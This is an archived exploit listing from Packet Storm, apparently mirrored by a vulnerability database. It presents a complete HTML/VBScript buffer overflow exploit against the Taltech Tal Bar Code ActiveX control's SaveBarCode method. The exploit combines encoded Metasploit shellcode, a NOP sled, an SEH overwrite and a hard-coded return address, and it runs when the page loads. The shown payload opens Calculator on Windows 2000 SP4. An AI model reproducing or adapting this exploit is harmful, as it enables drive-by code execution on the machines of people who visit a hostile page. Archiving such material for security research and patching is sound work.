taltech-overflow.txt

🗓️ 10 May 2007 00:00:00Reported by Umesh WanveType

packetstorm🔗 packetstormsecurity.com👁 22 Views

Taltech Bar Code ActiveX Buffer Overflow Exploit by Umesh Wanve. Opens Calculator on Windows 2000 SP4

`<!--  
  
===============================================================================================  
Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit  
By Umesh Wanve   
==============================================================================================   
  
Date : 08-05-2007  
  
Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded  
  
Tested on Windows 2000 SP4 Server English  
Windows 2000 SP4 Professional English  
  
Opens Calculator on the Vulnerable machine.  
  
PS. This was written for educational purpose. Use it at your own risk.Author will be not be  
responsible for any damage.  
  
Always thanks to Metasploit and Stroke   
  
-->  
  
<html>  
  
<title>  
Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve  
</title>  
  
<body>  
  
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>  
  
<script language="vbscript">  
  
targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX"  
prototype = "Sub SaveBarCode ( ByVal FileName As String )"  
memberName = "SaveBarCode"  
progid = "TALBarCode.TALBarCd"  
argCount = 1  
  
<!-- win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com -->  
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")  
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")  
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")  
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")  
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")  
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")  
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")  
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")  
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")  
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")  
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")  
  
  
nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")   
  
pointer_to_seh=unescape("%eb%06%90%90")  
  
<!-- 0x750211a9 -- pop pop ret from ws2help.dll from windows2000 SP4 -->  
  
seh_handler=unescape("%a9%11%02%75")   
  
  
  
arg1=String(2488,"A")  
  
arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop  
  
  
target.SaveBarCode arg1  
  
  
</script>  
</body>  
</html>  
  
`

10 May 2007 00:00Current

7.4High risk

Vulners AI Score7.4